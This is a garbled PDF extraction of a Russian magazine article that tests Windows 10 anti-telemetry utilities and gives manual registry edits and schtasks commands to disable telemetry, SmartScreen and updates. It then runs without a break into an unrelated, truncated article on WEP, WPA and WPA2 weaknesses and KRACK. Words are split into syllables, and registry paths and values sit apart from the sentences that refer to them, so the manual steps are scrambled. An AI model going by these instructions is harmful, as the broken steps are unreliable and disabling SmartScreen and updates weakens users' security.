комп  со  сбор кой  1803  пос тоян но  переда вал  дан ные  на  IP  104.25.219.21.
Shodan  говорит,  что  он  при над лежит  извес тно му  облачно му  про вай деру
Cloudflare. Нас коль ко мне извес тно, Microsoft дав но арен дует у него хос тинг
для  вир туаль ных  сер веров  сбо ра  ста тис тики.  Боль ше  подоб ной  сетевой
активнос ти не отме чалось, если не счи тать ска чива ния обновле ний.

С  бло киров кой  сле дящих фун кций Blackbird  в  целом  спра вилась,  но  обе
тес товые  сбор ки  из‐за  нее  приш ли  в  нерабо чее  сос тояние.  Меню  «Пуск»
не откры вает ся. Edge и IE не запус кают ся. Магазин при ложе ний и поч та пыта‐ 
ются запус тить ся, но сра зу зак рыва ются. В панели уве дом лений висят сооб‐ 
щения,  которые  нель зя  открыть. В  общем, жить  с  нас толь ко  изу родо ван ной
опе раци онкой невоз можно. Хоть обновле ния уста нови лись без проб лем!

При  вос ста нов лении  из  соз данно го  Blackbird  бэкапа  луч ше  не  ста ло.
В сбор ке 1709 сле тела акти вация Windows и появи лись две ошиб ки реес тра.
Пос ле  перезаг рузки  ни  одна  проб лема  так  и  не  была  устра нена.  Сбор‐ 
ка 1803 вооб ще не смог ла запус тить Blackbird для вос ста нов ления из бэкапа,
начав ругать ся на ошиб ку фай ловой сис темы (хотя с ФС все было в поряд ке).

Ошиб ки при вос ста нов лении бэкапа

Вы вод  оче виден.  Blackbird  мес то  в  нашей  быв шей  руб рике  «Запад лос тро‐ 
ение».

Destroy Windows 10 Spying 1.0.1.0
https://github.com/Nummer/Destroy‐Windows‐10‐Spying

Destroy  Windows  10  Spying  —  прог рам мка,  которая,  ско рее  все го,  уже
на  слу ху  у  каж дого,  кто  задавал ся  воп росом,  как  отклю чить  переда чу  сво их
дан ных  в  Microsoft.  ,  что  пос ле  вер сии  1.0.1.0  сме нил ся  раз‐ 
работ чик  и  в  новые  релизы  начали  вши вать  тро ян.  Поэто му  вос поль зуем ся
пос ледней офи циаль ной вер сией, которую выпус тил Nummer.

По гова рива ют

Вер сия 1.0.1.0 написа на в апре ле 2018 года. На моих сбор ках она запус‐ 
тилась и опре дели ла их пра виль но. Помимо про чего, в прог рамме есть фун‐ 
кция отклю чения обновле ний Windows, которой я заод но и вос поль зовал ся.

Destroy Windows 10 Spying 1.0.1.0

Все изме нения вно сят ся при нажатии боль шой кноп ки «Destroy Windows Spy‐
ing NOW!». Работа прог раммы про ходит в три эта па: отклю чение «шпи онских»
сер висов, добав ление извес тных  IP‐адре сов в пра вила бран дма уэра и про‐ 
писы вание URL сер веров сбо ра ста тис тики Microsoft в файл host. Затем сле‐ 
дует перезаг рузка с при мене нием всех изме нений.

Ре зуль таты работы DWS меня огор чили.

Дамп Wireshark пос ле DWS

Ис ходящий  тра фик по «левым» адре сам стал мень ше, но по‐преж нему наб‐ 
людалось  активное  обще ние  с  ненуж ными  нам  IP‐адре сами.  Вер сия  прог‐ 
раммы  уста рела,  и  в  новых  сбор ках  Windows  свою  фун кцию  она  тол ком
не  выпол няет.  Одна ко  ути лита  и  не  калечит  опе раци онку,  как  это  дела ет
Blackbird. Мои вир туаль ные компь юте ры пос ле DWS выжили. В течение трех
дней  никаких  прог рам мных  непола док  выяв лено  не  было.  Сра зу  пос ле
перезаг рузки  сбор ка  1709  зависа ла  пару  раз,  но  обош лось  малой  кровью,
и все вос ста нови лось.

С  бло киров кой  Windows  Update  прог рамма  DWS  тоже  сра бота ла  кри во.
Пос ле четырех‐пяти переза пус ков Windows в логах TCPView сно ва зас ветил ся
svhost,  который  как  ни  в  чем  не  бывало  про дол жил  дос тавлять  обновле ния.
Еще я обра тил вни мание на очень тес ный диалог сбор ки 1709 с  IP‐адре сом
сер вера в сети Akamai Technologies, сот рудни чающей с Microsoft, и силь ное
уве личе ние пакетов SSDP. Воз можно, вин да сама переби рала запас ные спо‐ 
собы  отпра вить  дан ные,  ког да  собс твен ные  сер веры  ока зались  час тично
недос тупны.

DoNotSpy10 4.0
https://pxc‐coding.com/donotspy10

Еще  одна  популяр ная  прог рамма  с  удоб ным  интерфей сом.  Для  каж дого
пун кта раз работ чик сде лал неболь шое опи сание, поэто му разоб рать ся в ней
прос то — рас став ляй галоч ки, и впе ред!

Ин терфейс DoNotSpy10

Эта  прог рамма  пре дос тавля ет  воз можность  сде лать  точ ку  отка та  сис темы
до  при мене ния  изме нений  (не  бэкап  нас тро ек,  а  имен но  сис темную  точ ку
отка та).  На  мой  взгляд,  с  количес твом  фун кций  в  ней  нем ного  перес‐ 
тарались  —  очень  уж  мно го  вся ких  фич.  При менил  я  все  по  мак симуму,
и  резуль тат  работы меня  уди вил.  Пос ле  четырех  часов  прос тоя  сис тем  они
начали  самос тоятель но  перезаг ружать ся.  Ока залось,  что  за  это  вре мя
по‐тихому накати лись «заб локиро ван ные» обновле ния. Wireshark соб рал поч‐ 
ти 400  тысяч пакетов за час,  чего с дру гими прог рамма ми не наб людалось.
Боль шинс тво пакетов было адре сова но имен но  туда,  куда DoNotSpy10 дол‐ 
жна была зап ретить их отсы лать. Вдо бавок ко все му сле тели лицен зии с обе‐ 
их ОС.

Прог рамма DoNotSpy10  навер няка  пон равит ся мазохис там  и  разоча рует
всех осталь ных.

Продолжение статьи →

mailto:vegelin47@mail.ru
https://eugdpr.org/
https://privacy.microsoft.com/ru-ru/PrivacyStatement
https://www.microsoft.com/en-us/software-download/windows10
https://www.getblackbird.net/
https://github.com/Nummer/Destroy-Windows-10-Spying
https://twitter.com/nummerok/status/1007868805840850945
https://pxc-coding.com/donotspy10


ПРЯТКИ С WINDOWS 10
ТЕСТИРУЕМ ПРОГРАММЫ ДЛЯ ОТКЛЮЧЕНИЯ

СЛЕЖКИ И ПОВЫШЕНИЯ ПРИВАТНОСТИ

ПРИВАТНОСТЬ  НАЧАЛО СТАТЬИ←

O&O ShutUp10 1.6.1399
https://www.oo‐software.com/en/shutup10

Эта  прог рам мка  немец ких  раз работ чиков  O&O  Software  име ет  удоб ный
интерфейс  и  нес коль ко  про филей  нас тро ек.  Мож но  при менить  толь ко
рекомен дуемые  или  все  сра зу  в  один  клик.  Так же  сре ди  плю сов  отме чу
импорт и экспорт парамет ров реес тра. Как показа ла прак тика, это очень важ‐ 
ный момент. Машин ный  перевод  на  рус ский  режет  глаз,  но  его  дос таточ но
для понима ния под ска зок, которые всплы вают при нажатии на стро ку отклю‐ 
чения фун кции.

В окне  прог раммы сде лана  колон ка  с  наз вани ем  «Рекомен довано?»,  а  в
ней пун кты с помет кой «НЕТ». Сна чала кажет ся, что это какие‐то осо бо опас‐ 
ные тви ки, но сре ди них перечис лены и авто обновле ния.

Сра зу хочу отме тить одну важ ную деталь: в сбор ке 1709 прог рамма пред‐ 
лага ет  изме нить  97  пун ктов,  а  в  1803 —  уже  100.  Добав ленные  три  пун кта
находят ся в раз деле «Кон фиден циаль ность при ложе ний» и зап реща ют дос туп
к докумен там, изоб ражени ям и видео.

Раз личие O&O ShutUp10 на раз ных сбор ках Windows 10

При  выборе  пер вой  же  «сле дящей»  фун кции  прог рамма  выдала  пре дуп‐ 
режде ние о том, что в сис теме отклю чена фун кция соз дания точек вос ста нов‐ 
ления. Еще один плюс в кар му!

Как  и  во  всех  пре дыду щих  тес тах,  я  выб рал  нас трой ки  «уль тра»,  что бы
по мак симуму исполь зовать воз можнос ти прог раммы. Сра зу перед зак рыти‐ 
ем O&O ShutUp10  пре дуп редила,  что  если  на  комп  накатят ся  (а  по мне нию
раз работ чиков, они все рав но накатят ся) обновле ния, то при дет ся запус кать
прог рамму  заново  и  воз вра щать  нас трой ки.  Почему  бы  тог да  пол ностью
не заб локиро вать их уста нов ку?

Вто рое немец кое пре дуп режде ние

Еще одно неболь шое наб людение  (это при дир ка,  но пер фекци онист  внут ри
меня  негоду ет):  пос ле  пре дуп режде ния  прог рамма  пред лага ет  перезаг‐ 
рузить ся, но не может выпол нить перезаг рузку ни в сбор ке 1709, ни в сбор‐ 
ке 1803. Обе приш лось ребутить вруч ную.

Сра зу  пос ле  сле дующей  заг рузки  ОС  и  до  запус ка  Wireshark  TCPView
показал неп рият ную кар тину. Опять про цес сы обща ются с адре сами MS!

Зап рет сра ботал толь ко час тично

Дамп Wireshark тоже не порадо вал. Явно вид на уста нов ка сес сии и переда ча
дан ных, хотя пакетов отправ ляет ся и не так мно го.

Дамп тра фика Windows 10 1803

Как и ожи далось, svhost под качива ет обновле ния,  хотя я отклю чил их в O&O
ShutUp10, ука зав два свя зан ных с Windows Update пун кта.

Че рез пять‐восемь часов про пал дос туп к интерне ту. Вер нуть его уда лось
перезаг рузкой сетево го адап тера, но сле дующая про вер ка наличия обновле‐ 
ний в Windows закон чилась неуда чей.

Ошиб ка обновле ний

Спус тя сут ки изме нились два парамет ра: были отклю чены «Зап ретить выпол‐ 
нение при ложе ний в фоновом режиме» и «Отклю чение телемет рии (3 из 3)».
На 1709 подоб ного не наб людалось.

O&O ShutUp10

Че рез два дня пос ле исполь зования O&O ShutUp10 полет нор маль ный и кар‐ 
тина в целом раду ет. Изредка в сетевом тра фике прос какива ют адре са сер‐ 
веров Microsoft из раз ных стран. В сбор ке 1803 с ними обща ются в основном
backgroundTaskHost,  dasHost.exe  и  svhost  (пос ледний  дер жит  устой чивое
соеди нение  на  про тяже нии  всей  работы),  а  в  1709 —  толь ко  svhost.  Кро ме
того,  в  сбор ке  1803  пос ле  каж дого  переза пус ка  прог раммы  отклю чает ся
параметр  «Зап ретить  выпол нение  при ложе ний  в  фоновом  режиме»
(за 1709 такого поведе ния не замече но) и авто мати чес ки вос ста нав лива ются
отдель ные  парамет ры,  которые  O&O  ShutUp10  ранее  вык лючила  или  заб‐ 
локиро вала.  Получа ется,  что Windows  10  1709  она  покори ла,  а  вот  1803  ей
пока не по зубам.

Воз врат нас тро ек про шел без болез ненно. Тут и говорить осо бо не о чем.
К работе самих ОС пос ле исполь зования O&O ShutUp10 никаких нарека‐ 

ний нет. Нес коль ко раз был удив лен более быс трой работой (с нищеб род ски‐ 
ми  ресур сами,  выделен ными  на  одну  основную  и  две  гос тевые  ОС,  мне
это очень силь но замет но).

Disable Win Tracking
https://github.com/10se1ucgo/DisableWinTracking

Disable  Win  Tracking  3.2.1  —  еще  одна  неболь шая  и  прос тая  ути лита
со спар тан ским интерфей сом. Обно вилась она в начале года, но про под дер‐ 
жку раз ных бил дов Windows ничего не ска зано.

Disable Win Tracking

Пункт Services име ет на выбор два режима: уда лить служ бы и отклю чить их (я
выбирал  уда лить).  Дей ствия  про изво дят ся  с  дву мя  служ бами: 
(сер вис кон тро ля за сбо ром диаг ности чес ких дан ных) и   (служ‐ 
ба  мар шру тиза ции  WAP  Push  Message).  Все  осталь ное  доволь но  прос то
и понят но. При выделе нии час ти пун ктов ути лита забот ливо пре дуп редит, что,
если отклю чаешь какие‐то фун кции, будут пос ледс твия и некото рые при ложе‐ 
ния могут перес тать работать.

DiagTrack
dmwappushsvc

INFO

Из началь но  DiagTrack  рас простра нял ся  как 
  обновле ние  KB3022345.  Этот

«шпи онский» сер вис мож но было вооб ще не уста‐ 
нав ливать  или  уда лить  штат ными  средс тва ми,
но в кон це 2015 года хит рецы из Microsoft пере‐ 
име нова ли  его  в  Connected  User  Experiences
and Telemetry и зашили в сис тему как обя затель‐ 
ный ком понент.

опциональное

На жима ем GO,  и  пос ле  завер шения  нам  выда ется  под робный  отчет  о  про‐ 
делан ной работе. Любопыт но полис тать и пос мотреть, что все же прог рамма
дела ет.

Че рез три дня тес та уста нови лись оче ред ные обновле ния. Служ ба 
  сно ва  появи лась  в  спис ке,  но  была  в  отклю чен ном  сос тоянии.

По резуль татам монито рин га сети: адре са Microsoft и Akamai в логах никуда
не  делись. Мои  опе раци онки  регуляр но  выходи ли  с  ними  на  связь,  но  тра‐ 
фика ста ло мень ше. На ста биль нос ти работы ОС дей ствия Disable Win Track‐
ing  никак  не  отра зились,  а  вот  Skype  перес тал  работать.  Вме шатель ства
в сис тему ока зались минималь ные: добав ление пра вил для встро енно го фай‐ 
рво ла и нес коль ко пра вок реес тра.

dmwap‐
pushsvc

Windows Privacy Dashboard
https://wpd.app/

Пос ледняя  ути лита,  которую  хотелось  бы  разоб рать,  —  WPD  1.2.940.
На  момент  написа ния  статьи  текущий  релиз  был  от  11  октября  2018  года,
но  пра вила  бло киров ки  сле дящих  ком понен тов  в  нем  исполь зовались
от  16  сен тября.  Заяв лена  под дер жка Windows  10  вплоть  до  1809.  Фун кции
прог раммы раз биты на три раз дела: управле ние кон фиден циаль ностью, соз‐ 
дание пра вил фай рво ла и уда ление уста нов ленных прог рамм («мусор», как их
наз вали раз работ чики).

Уп равле ние  кон фиден циаль ностью  отклю чает  пра вила  в  пла ниров щике,
некото рые служ бы и вно сит изме нения в реестр. Пра вила фай рво ла соз дают‐ 
ся исхо дя из выб ранно го режима при ват ности: Spy и Extra. При выборе пос‐ 
ледне го бло киру ются OneDrive, Skype,  Live и подоб ное  (об этом прог рамма
пре дуп режда ет). Как и во всех слу чаях, я пос тарал ся выжать из этой ути литы
все, кро ме уда ления при ложе ний.

За четыре дня тес тов я не выявил нарека ний в работе ОС — обе тес товые
опе раци онки  работа ли  ста биль но.  Я  доволен  прог раммой  не  мень ше,  чем
O&O ShutUp10. Пос ле работы WPD в логах оста лось минималь ное количес тво
соеди нений с сер верами Microsoft и ее пар тне ров, а сами пакеты были очень
малень кие.

Боль шую часть изме нений WPD вно сит в реестр. Вот как выг лядит резуль‐ 
тат ее работы в Windows 1803.

Фраг мент изме нений в реес тре пос ле WPD

Сним ки  реес тра  я  срав нивал  прог раммой  Regshot.  Перечис лять  все  изме‐ 
нен ные  клю чи  было  бы  слиш ком  уто митель но.  Думаю,  что  циф ра  в  стро ке
«Уда лен ные/Новые парамет ры» говорит сама за себя.

Но вые клю чи реес тра

Прог рамма соз дала одно пра вило фай рво ла,  про писав в него  кучу  IP‐адре‐ 
сов.

Пра вило фай рво ла

В общем, WPD отра бота ла весь ма неп лохо.

ОТКЛЮЧАЕМ СЛЕЖКУ ВРУЧНУЮ
Да вай  поп робу ем  сде лать  вруч ную  часть  дей ствий  опи сан ных  прог рамм.
Выпол ним основные бло киров ки, о которых я говорил выше. Все дей ствия —
на свой страх и риск! Перед редак тирова нием реес тра рекомен дую соз дать
резер вную копию.

От клю чаем запись активнос ти поль зовате ля
За  это  отве чает  фун кция  .  Заходим  в  редак тор  реес тра  (regedit),
идем  по  пути 

. Соз даем 32‐раз рядный DWORD со  зна чени ем    и  наз вани ем
.

Timeline
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Win‐

dows\System 0
EnableActivityFeed

От клю чаем «кей лог гер»
Речь  о  той  самой  служ бе  .  Идем  по  вет ке 

 и прис ваиваем
 зна чение   (здесь же мож но сра зу вык лючить и DiagTrack).

dmwappushsvc HKEY_LOCAL_MA‐
CHINE\SYSTEM\CurrentControlSet\Services\dmwappushsvc
dmwappushsvc 4

От клю чаем телемет рию
Тут  надо  пояс нить,  что  сов ремен ные  сбор ки  Windows  не  поз воля ют  пол‐ 
ностью  отклю чить  телемет рию  без  потери  сущес твен ных  фун кций  сис темы.
Есть три вари анта нас трой ки переда чи соб ранных дан ных: «Базовая нас трой‐ 
ка»,  «Рас ширен ная»  и  «Пол ные  дан ные».  Еще  есть  раз дел  «Безопас ность»,
но  он  при сутс тву ет  толь ко  в  Enterprise.  Через  реестр  мы  можем  задать
минималь ный  уро вень  сбо ра  телемет рии: 

  (если  парамет ра 
  нет,  его  нуж но  соз дать). Соз даем DWORD 32 бит  c  наз вани ем 

 и прис ваиваем ему зна чение  .

HKEY_LOCAL_MACHINE\SOFTWARE\
Policies\Microsoft\Windows\DataCollection DataCol‐
lection Al‐
lowTelemetry 1

От клю чаем сбор дан ных о мес тополо жении
Идем  по  вет ке 

 и прис ваиваем это му парамет ру зна чение  .

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\Cur‐
rentVersion\DeviceAccess\Global\{BFA794E4‐F964‐4FDB‐90F6‐
51056BFE4B44} Allow

От клю чаем Cortana
В  клю че 

 парамет ру   прис ваиваем зна чение  .
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\

Windows Search Allow Cortana 0

От клю чаем OneDrive
По  адре су 

  находим  или  соз даем  параметр    типа  DWORD
32 бит и прис ваиваем ему зна чение  .

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\
Skydrive DisableFileSync

1

Вык люча ем отправ ку телемет рии в пла ниров щике задач
По мимо телемет рии, в пла ниров щике есть куча изна чаль но соз данных задач,
которые  отни мают  ресур сы  и  работа ют  без  ведома  поль зовате ля.
В основном они собира ют телемет ричес кие дан ные для «прог раммы по улуч‐ 
шению поль зователь ско го опы та» и сер виса облачной защиты SmartScreen.

От клю чить всю эту богадель ню мож но сле дующи ми коман дами:

schtasks /Change /TN "Microsoft\Windows\AppID\SmartScreenSpecific" /Disable 
schtasks /Change /TN "Microsoft\Windows\Application Experience\ProgramDataUpda
ter" /Disable schtasks /Change /TN "Microsoft\Windows\Application Experience\
Microsoft Compatibility Appraiser" /Disable
schtasks /Change /TN "Microsoft\Windows\Autochk\Proxy" /Disable
schtasks /Change /TN "Microsoft\Windows\Customer Experience Improvement 
Program\Consolidator" /Disable
schtasks /Change /TN "Microsoft\Windows\Customer Experience Improvement 
Program\KernelCeipTask" /Disable
schtasks /Change /TN "Microsoft\Windows\CloudExperienceHost\CreateObjectTask" /
Disable
schtasks /Change /TN "Microsoft\Windows\DiskDiagnostic\Microsoft‐Windows‐DiskDi
agnosticDataCollector" /Disable
schtasks /Change /TN "Microsoft\Windows\Maintenance\WinSAT" /Disable
schtasks /Change /TN "Microsoft\Windows\NetTrace\GatherNetworkInfo" /Disable
schtasks /Change /TN "Microsoft\Windows\Shell\FamilySafetyMonitor" /Disable
schtasks /Change /TN "Microsoft\Office\OfficeTelemetryAgentFallBack" /Disable
schtasks /Change /TN "Microsoft\Office\OfficeTelemetryAgentLogOn" /Disable

Бло киру ем отправ ку дан ных на сер веры Microsoft
В  интерне те  есть  мно жес тво  ресур сов,  на  которых  регуляр но  обновля ют
спис ки  адре сов  «шпи онских»  сер веров  Microsoft.  К  при меру,  на 
мож но най ти основной перечень. Про ще все го добавить их в hosts и соз дать
зап реща ющие пра вила в фай рво ле.

aeronet.cz

Пра вила бран дма уэра Windows

Я  исполь зовал  оба  метода.  На  один  из  заб локиро ван ных  адре сов Windows
выш ла уже спус тя час работы, но раз мер сетево го пакета ока зал ся нулевым.

По пыт ка соеди нения с заб локиро ван ным адре сом

Не кото рые экспер ты по безопас ности счи тают, что сис темные про цес сы Win‐
dows (вклю чая «шпи онские») могут обхо дить зап реты в hosts и во встро енном
фай рво ле.  Теоре тичес ки  бло киров ку  URL  в  hosts  мож но  обой ти  пря мым
обра щени ем  по  IP,  а  бло киров ку  IP  в  прог рам мном  бран дма уэре  —  через

  и  перех ват  фун кций  соз дания  про токо лов  на  уров не  NDIS  дру‐ 
гими ком понен тами ядра Windows. Одна ко в ходе сво его мини‐экспе римен та
я  не  заметил  паразит ного  тра фика.  Пос ле  бло киров ки  в  hosts  и  пра вила ми
фай рво ла попыт ки уста новить соеди нение со «шпи онски ми» сер верами про‐ 
дол жались, но исхо дящие пакеты были нулевы ми, а вхо дящих не было вов се.

dnsapi.dll

БЛОКИРУЕМ ОБНОВЛЕНИЯ
На  десерт  решил  показать  еще  одну  неболь шую  прог рам мку,  пред назна‐ 
чение которой — лишь бло киро вать обновле ния (что боль шинс тво прог рамм
так  и  не  смог ли  сде лать,  хотя  фун кция  была  заяв лена).
Это  .StopUpdates10 2.0.32

StopUpdates10

Ин терфейс прог раммы огра ничи вает ся одной кноп кой. Нажима ем, перезаг‐ 
ружа ем, тес тиру ем.

За два дня тес тов прог рамма не допус тила ска чива ния обновле ний,  хотя
Windows  усер дно  (и  безус пешно)  пыталась  их  най ти.  Нем ного  раз дра жали
сооб щения Windows об ошиб ке уста нов ки ком понен тов.

Со обще ние об ошиб ке

Пос ле  двух  дней  прос тоя  и  десят ка  перезаг рузок  я  поп робовал  про верить
наличие  обновле ний  вруч ную,  что  так же  закон чилось  неуда чей.  В  спис ке
уста нов ленных  были  толь ко  те  обновле ния,  которые  успе ли  ска чать ся
до запус ка прог раммы.

ВЫВОДЫ
Мы рас смот рели шесть прог рамм для отклю чения слеж ки и нас тро ек при ват‐ 
ности  в  акту аль ных  сбор ках  Windows  10.  Подоб ных  ути лит  очень  мно го.  Их
авто ры копиру ют наработ ки друг у дру га (Fork me on GitHub!), стре мясь сде‐ 
лать  спис ки  изме няемых  парамет ров  и  бло киру емых  адре сов  как  мож но
боль ше. Они ред ко утружда ют себя их про вер кой  (осо бен но про дол житель‐ 
ной),  а  проб лемы  с  опе раци онкой  обыч но  появ ляют ся  не  сра зу  пос ле  при‐ 
мене ния тви ков. Это бом ба замед ленно го дей ствия.

Раз витие боль шинс тва «антишпи онских» ути лит для Windows 10 оста нови‐ 
лось в 2016–2017 годах из‐за пос тоян ной гон ки воору жений. Microsoft час то
меня ет IP‐адре са сво их сер веров, арен дует облачные в Cloudflare и перенап‐ 
равля ет часть тра фика в пар тнерскую сеть Akamai Technologies. По фак ту ей
при над лежит очень динамич ный пул айпиш ников и нес коль ко круп ных сетей.
Все  не  успе ешь  отсле дить  и  заб локиро вать.  К  тому  же  один  URL  час то
исполь зует ся  для  соеди нения  с  раз ными  IP‐адре сами  или  мно гофун кци‐ 
ональ ным сер вером, который нужен для нор маль ной работы дру гих (не «шпи‐ 
онских») ком понен тов Windows.

До бавить сетевые адре са сбор щиков дан ных Microsoft мож но и вруч ную,
прос то най дя такие спис ки на GitHub и про филь ных форумах. Нуж но ска чать
их, объ еди нить, отре дак тировать, про верить (самая слож ная часть) и толь ко
потом  при менить  «сухой  оста ток».  При дет ся  делать  очень  мно го  рутин ной
работы, что бы хоть на какое‐то вре мя резуль тат был ста биль ным. Потом вый‐ 
дут обновле ния Windows, добавят ся новые сетевые адре са, твой кро пот ливо
соз данный спи сок уста реет, и все при дет ся начинать сна чала.

Из  про тес тирован ных  прог рамм  более  или  менее  спра вились  со  сво ей
задачей толь ко O&O ShutUp10 и WPD, хотя и их работу слож но наз вать иде‐ 
аль ной. Часть  нас тро ек  при ват ности меня ется штат ными средс тва ми самой
Windows 10,  но в интерфей се отоб ража ются далеко не все нас трой ки. Если
ути лита уме ет изме нять какие‐то допол нитель ные и «глу бокие» — в ней есть
смысл.  Прос то  надо  очень  акку рат но  с  ней  работать,  тща тель но  выбирать
бло киру емые парамет ры и делать бэкапы до их при мене ния.

WWW

•Офи циаль ный  перечень  URL,  на  которые
отправ ляют ся дан ные телемет рии

•Нас трой ка сбо ра дан ных в кор поратив ных вер‐ 
сиях Windows 10 и Server

•Microsoft Privacy Statement

https://www.oo-software.com/en/shutup10
https://github.com/10se1ucgo/DisableWinTracking
https://wpd.app/
https://aeronet.cz/news/analyza-windows-10-ve-svem-principu-jde-o-pouhy-terminal-na-sber-informaci-o-uzivateli-jeho-prstech-ocich-a-hlasu
https://greatis.com/blog/stopupdates10
https://docs.microsoft.com/en-us/windows/privacy/windows-endpoints-1803-non-enterprise-editions
https://docs.microsoft.com/en-us/windows/privacy/configure-windows-diagnostic-data-in-your-organization
https://privacy.microsoft.com/en-us/privacystatement
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ПРИВАТНОСТЬ

В  прош лом  году  была  най дена  кри тичес кая  уяз вимость
в  WPA2  —  про токо ле  безопас ности,  который  исполь зует
при мер но  каж дая  пер вая  точ ка  дос тупа Wi‐Fi.  Взвол новало
это нем ногих — а зря! В этой статье я рас ска жу о новом про‐ 
токо ле WPA3, где ата ка KRACK боль ше не сра бота ет, а заод‐ 
но пос мотрим и на дру гие сущес тву ющие стан дарты.

WPA РАЗ, WPA ДВА, WPA ТРИ
Преж де чем говорить о том, что нового в WPA3, нам при дет ся вкрат це прой‐ 
тись  по  пре дыду щим  про токо лам,  начиная  с WEP.  Ты,  воз можно,  спро сишь,
зачем рас сказ об экска вато рах начинать с пал ки‐копал ки. Но все сущес тву‐ 
ющие про токо лы безопас ности Wi‐Fi (а их уже четыре) — это в той или иной
сте пени надс трой ки над сво ими пред шес твен никами. К тому же WEP до сих
пор кое‐где исполь зует ся, и вспом нить о его сущес тво вании не помеша ет.

WEP
Бе зопас ность WEP обес печива ется, счи тай, теми же метода ми, что и защита
в  про вод ных  сетях.  Это  и  ста ло  гвоз дем  в  крыш ку  его  гро ба.  Если  бы  зло‐ 
умыш ленник хотел перех ватить тра фик Ethernet на физичес ком уров не, то ему
приш лось  бы  про ник нуть  в  квар тиру  или  офис  жер твы  и  залезть  под  стол.
В слу чае с Wi‐Fi нуж но все го лишь находить ся в зоне при ема сиг нала.

Ты спро сишь: «а как же шиф рование?» — и будешь прав. Для шиф рования
тра фика WEP исполь зует ся клю чевой поток, который получа ется из сме шива‐ 
ния пароля и век тора ини циали зации (IV).

Фор мирова ние зашиф рован ного кад ра в WEP

Век тор ини циали зации в WEP — это пос тоян но меня ющееся 24‐бит ное чис‐ 
ло.  Может  сло жить ся  впе чат ление,  что  из‐за  пос тоян ного  изме нения  клю‐ 
чево го потока подоб рать пароль ста новит ся невоз можно.

Так  думали  и  раз работ чики  WEP,  но  этот  метод  шиф рования  в  совокуп‐ 
ности  с  воз можностью  перех ватывать  пакеты  ока зал ся  ахил лесовой  пятой
WEP. С рос том вычис литель ных мощ ностей пер сональ ных компь юте ров дли на
век тора ини циали зации ста ла недос таточ ной. Если дол го собирать фрей мы,
то мож но получить такие, для которых век тор ини циали зации будет оди нако‐ 
вым.

Та ким обра зом, незави симо от слож ности клю ча рас крыть любую переда‐ 
чу ста ло воз можно пос ле ста тис тичес кого ана лиза дос таточ ного  количес тва
перех вачен ных  пакетов  (нес коль ко  десят ков  тысяч,  что  доволь но  мало
для активно исполь зующей ся сети). Пос тепен но вре мя взло ма WEP све лось
к минутам.

WPA
Для решения проб лемы аль янс Wi‐Fi пред ложил надс трой ку над WEP, которая
поз воляла  устра нить  уяз вимость  без  замены  обо рудо вания.  Пер вой  иде ей
была сме на клю чей. Что, если менять ключ до того, как база будет дос таточ‐ 
ной для ата ки?

Бы ли  соб раны  все  сущес тво вав шие  на  тот  момент  раз работ ки,  которые
отно сились к стан дарту  IEEE 802.11i, и на их базе раз работан стан дарт WPA.
Его  осно вой  стал  про токол  TKIP. Он  зна читель но  уси ливал WEP  с  помощью
дву хуров невой сис темы век торов ини циали зации.

Идея работы алго рит ма очень прос та. Для каж дого нового фрей ма рас тет
зна чение млад шего  век тора ини циали зации  (как и ранее в  стан дарте WEP),
но  пос ле  про хож дения  всех  ком бинаций  уве личи вает ся  зна чение  стар шего
век тора  ини циали зации  и  генери рует ся  новый  ключ.  При  сме не  клю ча  база
ста тис тики для взло ма прос то не успе вает наб рать ся.

Схе ма фор мирова ния клю чево го потока для про токо ла WPA

Дру гим нов шес твом в WPA ста ла тех нология WPS, которая поз воля ет бес про‐ 
вод ным  устрой ствам  упро щен но  получить  дос туп  к  Wi‐Fi  при  усло вии
физичес кого  дос тупа  к  мар шру тиза тору.  Она  же  и  ста ла  пер вой  экс плу ати‐ 
руемой уяз вимостью WPA. Еще одна занят ная уяз вимость скры валась в осо‐ 
бен ности TKIP.

Для  быс тро го  залаты вания  кри тичес ких  уяз вимос тей  WEP  было  вве дено
пра вило,  по  которо му  точ ка  дос тупа  обя зана  бло киро вать  все  под клю чения
на 60  секунд,  если  получит ся  засечь  под бор  клю ча. Бла года ря  этой  защите
ста ла  воз можна  ата ка  Michael.  Переда ча  испорчен ных  пакетов  при води ла
к отклю чению всей сети. При чем в отли чие от обыч ного DDoS тут дос таточ но
все го  двух  (двух!)  пакетов  для  гаран тирован ного  выведе ния  сети  из  строя
на одну минуту.

Спра вед ливос ти  ради  надо  отме тить,  что  пос ле  обна руже ния  этих  уяз‐ 
вимос тей  говорить  о  взло ме  WPA  было  еще  нель зя.  Дос таточ но  отклю чить
WPS, и перех ватить дан ные будет невоз можно. А наличие выбора меж ду ком‐ 
фортом и безопас ностью нель зя наз вать кри тичес кой уяз вимостью про токо‐ 
ла.

В 2006 году на надеж ности WPA окон чатель но пос тавили крест уяз вимос‐ 
ти, которые поз воля ют манипу лиро вать сетью. Эти ата ки осно ваны на зна нии
некото рых  дан ных  в  зашиф рован ных  фрей мах,  нап ример  зап росов  ARP
или  фрей мов  для  обес печения  QoS.  Экс пло ит  поз воля ет  читать  дан ные,
переда ваемые от точ ки дос тупа кли ент ской машине, а так же переда вать под‐ 
дель ную  информа цию  на  кли ент скую  машину.  Для  реали зации  этой  ата ки
необ ходимо, что бы в сети исполь зовал ся QoS.

WPA2
К 2006 году WPA2 был уже реали зован во мно гих бес про вод ных устрой ствах,
и  серь езной  паники  взлом  его  пред шес твен ника  не  выз вал.  Кар диналь ным
отли чием WPA2 от пред шес твен ника ста ло инди виду аль ное шиф рование дан‐ 
ных каж дого поль зовате ля. В довесок он исполь зовал более надеж ный алго‐ 
ритм шиф рования — AES.

Дол гое  вре мя  основны ми  метода ми  взло ма  мар шру тиза торов,  работав‐ 
ших по WPA2, был взлом PIN‐кода при под клю чении через WPS или перех ват
рукопо жатия и под бор клю ча методом под бора «гру бой силой». Обе зопа сить
себя  мож но  было,  отклю чив  WPS  и  уста новив  дос таточ но  силь ный  пароль.
Поэто му до недав него вре мени WPA2 счи тал ся надеж ным и всех устра ивал.

В  октябре  2017  года  было  опуб ликова но  опи сание  KRACK  —  спо соба
взло ма  сетей  Wi‐Fi,  исполь зующих  WPA2  (см.  врез ку).  С  это го  момен та
экспер ты ста ли счи тать про токол WPA2 ненадеж ным. Хотя тре вож ные зво ноч‐ 
ки были и рань ше.

KRACK
